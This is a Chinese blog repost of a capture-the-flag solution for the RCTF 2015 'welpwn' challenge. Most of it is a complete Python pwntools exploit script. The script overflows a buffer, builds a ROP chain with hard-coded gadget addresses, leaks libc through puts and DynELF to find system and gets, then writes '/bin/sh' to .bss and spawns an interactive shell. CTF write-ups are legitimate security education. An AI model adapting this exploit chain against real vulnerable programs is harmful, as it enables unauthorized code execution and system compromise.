RCTF 2015 welpwn [ROP] [x64通用gadgets] [简单写法]

最新推荐文章于 2022-09-04 21:33:18 发布

转载最新推荐文章于 2022-09-04 21:33:18 发布 · 426 阅读

CTF之旅同时被 2 个专栏收录

84 篇文章

订阅专栏

pwn

33 篇文章

订阅专栏

本文详细介绍了使用Python脚本进行welpwn漏洞利用的过程，包括ROP技术的应用、DynELF动态链接库解析及shellcode注入技巧。通过具体示例展示了如何构造payload，泄露内存地址并最终获取shell。

https://blog.youkuaiyun.com/u011987514/article/details/70232881

按照自己习惯，代码重写一下：

#!/usr/bin/env python
# coding=utf-8

from pwn import *

io = process("./welpwn")

#gadgets
p4r = 0x40089C
pr = 0x4008A3
main = 0x4007CD
puts = 0x4005A0
bss = 0x601070

io.recvuntil("RCTF\n")
def leak(addr):
    payload = "A" * 16 + "B" * 8
    rop = p64(pr) + p64(addr) + p64(puts) + p64(main)
    payload += p64(p4r) + rop
    io.sendline(payload)
    io.recv(27)
    tmp = io.recv()
    data = tmp.split("\nWelcome")[0]
    if len(data):
        return data
    else:
        return "\x00"

d = DynELF(leak, elf = ELF("./welpwn"))
system = d.lookup("system", "libc")
log.info("system addr = " + hex(system))
gets = d.lookup("gets", "libc")
log.info("gets addr = " + hex(gets))

rop = p64(pr) + p64(bss) + p64(gets) + p64(pr) + p64(bss) + p64(system) + p64(0)
payload = "A" * 16 + "B" * 8 + p64(p4r) + rop
io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()